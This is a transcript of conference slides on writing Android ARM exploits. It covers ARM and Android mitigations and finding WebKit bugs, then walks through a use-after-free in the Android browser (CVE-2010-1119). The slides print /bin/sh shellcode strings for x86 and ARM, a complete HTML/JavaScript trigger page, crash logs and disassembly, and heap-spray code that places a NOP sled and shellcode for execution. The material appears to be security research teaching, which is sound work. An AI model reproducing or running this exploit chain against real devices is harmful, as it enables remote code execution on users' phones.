Bsides

42
Breaking Arms MJ Keith GCIA, GCIH Alert Logic - Security Researcher

description

My bsides presentation about writing android exploits.

Transcript of Bsides

Page 1: Bsides

Breaking Arms

MJ Keith GCIA, GCIHAlert Logic - Security Researcher

Page 2: Bsides

TOC

ARM Basics Arm vs x86 Pros/Cons

Android OS + ARM Mitigations Java Layer

Own it Getting control Doing something with it.

Page 3: Bsides

Fluff Basics

98% of mobile phones Tablets, ebook readers, netbooks

Introduced in 1983 1.6 billion – 2005 15.0 billion - 2011

Page 4: Bsides

Tech Basics

16 registers r0 – r15 = mental off by 1 r15 = pc = eip = rip cpsr = stores flags for exec state

Instruction Set 32 bit = e3 a0 00 94 16 bit = 20 94

Page 5: Bsides

shellcode

X86 = 22 bytes "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\

xe1\xcd\x80”

ARM thumb = 27 bytes “\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\

xdf\x2f\x62\x69\x6e\x2f\x73\x68”

ARM = 47 bytes "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\

xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\xff\x90\xef/bin/sh”

Page 6: Bsides

TOC

ARM Basics Arm vs x86 Pros/Cons

Android OS + ARM Mitigations Java Layer

Own it Getting control Doing something with it.

Page 7: Bsides

POV dependent

Pros/Cons e1a08008 is easier to identify than 90

Thumb mode could be used for evasion 46c0 Longer exploit code

Harder to deliver

Cons/Pros Less understood by most. Tons of them out there

Page 8: Bsides

TOC

ARM Basics Arm vs x86 Pros/Cons

Android OS + ARM Mitigations Java Layer

Own it Getting control Doing something with it.

Page 9: Bsides

Android + Arm

Bionic libc Developed by Google for android uClibC is small but uses GPL

Bionic uses BSD license Designed for low clock frequency CPU

Stripped down for high speed

Page 10: Bsides

Mitigations

ASLR Randomized stack layout prevents attacker relying

on specific addresses More entropy more better

Android stack not as random as you might think

# pwd/proc/sys/kernel# cat randomize_va_space1#

# pwd/proc/sys/kernel# cat randomize_va_space1#

Page 11: Bsides

Mitigations

bionic/libc/bionic/ssp.c = Canaries Canaries are stored on the stack and checked to

verify that they have not been overwritten. The “canary” code is also stored on the stack

More of an irritation than prevention Stops random bugs from doing anything

destructive.

Page 12: Bsides

Smashing Canaries for FAP

300 * 'A' =

D/dalvikvm( 245): LinearAlloc 0x0 used 639564 of 5242880 (12%)F/unknown ( 223): stack corruption detected: abortedD/Zygote ( 30): Process 223 terminated by signal (6)

600 * 'A' =

I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-...........I/DEBUG ( 28): pid: 264, tid: 278 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414179I/DEBUG ( 28): r0 41414141 r1 00000354 r2 ad080c00 r3 456f2f00I/DEBUG ( 28): r4 ad07ff50 r5 003490a0 r6 003490a0 r7 00000004I/DEBUG ( 28): r8 456f2d80 r9 4270bda8 10 4270bd90 fp 003488c0I/DEBUG ( 28): ip ad080090 sp 456f2c90 lr ad040a0d pc ad037d4a cpsr

20000030

Page 13: Bsides

but....

We don't really care. The mitigations only apply to the stack The heap is unprotected and executable

00008000-00009000 r-xp 00000000 1f:00 400 /system/bin/app_process00009000-0000a000 rwxp 00001000 1f:00 400 /system/bin/app_process0000a000-006f2000 rwxp 0000a000 00:00 0 [heap]10000000-10001000 ---p 10000000 00:00 0 10001000-10100000 rwxp 10001000 00:00 0

Page 14: Bsides

TOC

ARM Basics Arm vs x86 Pros/Cons

Android OS + ARM Mitigations Java Layer

Own it Getting control Doing something with it.

Page 15: Bsides

Dalvik JVM

Page 16: Bsides

Java Layer

Safe only when not depending on native libraries The JVM itself is native code

Works as a tunnel to native code Can limit what makes it through to memory

Page 17: Bsides

Finding Webkit Bugs in Android

This is lil bit shady WebKit/LayoutTests/

The webkit teams solid work is a big downfall for android android webkit is months behind on the day its released

>20 bugs in android 2.3 found in < 1 hr Try Beating that with standard fuzzing About 5 are exploitable

Page 18: Bsides

TOC

ARM Basics Arm vs x86 Pros/Cons

Android OS + ARM Mitigations Java Layer

Own it = the fun part! Getting control Doing something with it.

Page 19: Bsides

The bug

CVE-2010-1119 Found by Ralf Philipp Weinmann & Vincenzo Iozzo Android 2.1 still vulnerable

Will most likely always be vulnerable Nook was vulnerable

Nook still uses android 2.0 but has updates the webkit dll responsible

Use after free vulnerabilty WTF does that mean?

Page 20: Bsides

Use after free

A pointer to memory that was deallocated Reallocating the memory can lead to control Often pops up in parent child relationships

High level example

Page 21: Bsides

0x0000a000

0x00650000

0x00385100

var elem1 = doc.getElementsByTagName("textarea")

var elem2 = doc.getElementById("target")

<body ><textarea id=”target” rows=20>blah</textarea><body>

We make references to the element in 2 different ways

Page 22: Bsides

0x0000a000

0x00650000

0x00385100

var elem1 = doc.getElementsByTagName("textarea")

var elem2 = doc.getElementById("target")

elem2.parentNode.removeChild(target);

<body ><textarea id=”target” rows=20>blah</textarea><body>

We remove the element using our second reference. This essentially unlocks the memory that both variables are referencing. The elem1 var retains its pointer to the deallocated spot in memory

Page 23: Bsides

0x0000a000

0x00650000

var elem1 = doc.getElementsByTagName("textarea")

elem2.parentNode.removeChild(target);

<body >

<body>

We are left with a pointer to memory that is deallocated. We can now reallocate this memory

Page 24: Bsides

0x0000a000

0x00650000

var elem1 = doc.getElementsByTagName("textarea")

elem2.parentNode.removeChild(target);

for (var i = 0; i < 10000; i++) {var s = new String("LALA");}

<body >

<body>

Using a for loop we can create the same small string over and over until we collect garbage and refill the memory with our new data

Page 25: Bsides

LALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALA

0x0000a000

0x00650000

var elem1 = doc.getElementsByTagName("textarea")

elem2.parentNode.removeChild(target);

for (var i = 0; i < 10000; i++) {var s = new String("LALA");}

elem1.innerHtml

<body >

<body>

We can now request data from our original variable.

Page 26: Bsides

<html><head><script>

function test(){var elem = document.getElementById("t"); // reference to textarea tag

var nodes = document.getElementById("t").getAttributeNode('rows').childNodes; // reference to the child nodes of the rows under the textarea tag

document.body.removeChild(elem); // remove element

elem.getAttributeNode('rows').removeChild(nodes[0]); // remove child nodes

setTimeout( function() { for (var i = 0; i < 10000; i++) {var s = new String("abc"); }; // call heap garbage collector

nodes[0].textContent }, 0); // ask for text contained in object that no longer exists}

</script></head><body onload=test()><textarea id=t rows=20>textarea</textarea> <!-- element we are targeting --></body></html>

Page 27: Bsides

Where to start

I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/359...'I/DEBUG ( 28): pid: 332, tid: 344 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 0000001aI/DEBUG ( 28): r0 0011ee20 r1 0011ee20 r2 0000001b r3 1fda60b5I/DEBUG ( 28): r4 0011ee20 r5 45a03048 r6 42750080 r7 453f23c8I/DEBUG ( 28): r8 453f2d88 r9 42705f1c 10 42705f04 fp 002ee0c8I/DEBUG ( 28): ip aa413808 sp 453f2140 lr aa04a581 pc 0000001a cpsr 00000030I/DEBUG ( 28): #00 pc 0000001a I/DEBUG ( 28): #01 pc 0004a57e /system/lib/libwebcore.soI/DEBUG ( 28): #02 pc 001ae354 /system/lib/libwebcore.soI/DEBUG ( 28): #03 pc 0000c0de /system/lib/libwebcore.so

Page 28: Bsides

Whats happening before we crash

4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2

Page 29: Bsides

We need to break it sooner

Up our number of new strings being created 10000 to 70000

Force bad value to crash earlier. “LALA” changed to unescape(“\u4141\u4141”); Unescape gives us better control of string values

Page 30: Bsides

I/DEBUG ( 28): pid: 437, tid: 449 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414195I/DEBUG ( 28): r0 41414141 r1 001427a8 r2 00000031 r3 2d31e05bI/DEBUG ( 28): r4 001427a8 r5 45a03048 r6 42750080 r7 454f23c8I/DEBUG ( 28): r8 454f2d88 r9 42708f1c 10 42708f04 fp 002f0448I/DEBUG ( 28): ip 003b3788 sp 454f2140 lr aa0482ab pc aa04a57a cpsr 60000030I/DEBUG ( 28): #00 pc 0004a57a /system/lib/libwebcore.soI/DEBUG ( 28): #01 pc 001ae354 /system/lib/libwebcore.so

Crash = 2 instructions earlier

Page 31: Bsides

We are controlling r0

4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2

Page 32: Bsides

What does that mean

4a57a: 6d42 ldr r2, [r0, #84] = goto address in r0 + 84 , put in r2 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 = goto address in r2 and start executing

Page 33: Bsides

Where do we stand

We can control the address in r0 We need to send it to an (address – 84) that will

point to our shellcode To do this we need to control heap memory

Basic Feng-shui

Page 34: Bsides

Controlling the Heap

0x0000a000

0x00640000

The heap will place data in the next available spot that is big enough. We can use this to control the end of the heap

Page 35: Bsides

The Goal

0x0000a000

0x00640000

T

We use the loop below to populate our “use after free”for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };

Page 36: Bsides

The Goal

0x0000a000

0x00640000

T

We use the loop below to populate our “use after free”for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };

= 0x00580058

Page 37: Bsides

The Goal

0x0000a000

0x00640000

T

var scode = unescape("\u0060\u0060");var scode2 = unescape("\u5005\ue1a0");

do { scode += scode; scode2 += scode2;

} while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;}

document.write(target[i]); document.write("<br />"); if (i>250){

= 0x00580058

Page 38: Bsides

The Goal

0x0000a000

0x00640000

T

Scode = 0x00600060 len = 0x1000

We write this value to the page 130 times

= 0x00580058

= 0x00600060

00600060

00600060

00600060

00600060

0x00580058

Page 39: Bsides

The Goal

0x0000a000

0x00640000

T

Scode2 = 0xe1a05005 len = 0x1000 + shellcode

We write this value to the page 120 times

= 0x00580058

= 0x00600060

00600060

00600060

00600060

00600060

0x00580058

= 0xe1a05005 + shellcode

Nop + shell

Nop + shell

Nop + shell

Nop + shell

0x00600060

Page 40: Bsides

The Goal

0x0000a000

0x00640000

T

1. We access our “use after free” address2. That address sends us to 0x00580058

The value at 0x00580058 is 0x00600060This is loaded into r2

3. pc goes to the address in r2 and starts execution

= 0x00580058

= 0x00600060

00600060

00600060

00600060

00600060

= 0xe1a05005 + shellcode

Nop + shell

Nop + shell

Nop + shell

Nop + shell

0x00600060

nodes[0].textContent

= 0xe1a05005 + shellcode

Page 41: Bsides

demo

Page 42: Bsides

Thanks

[email protected]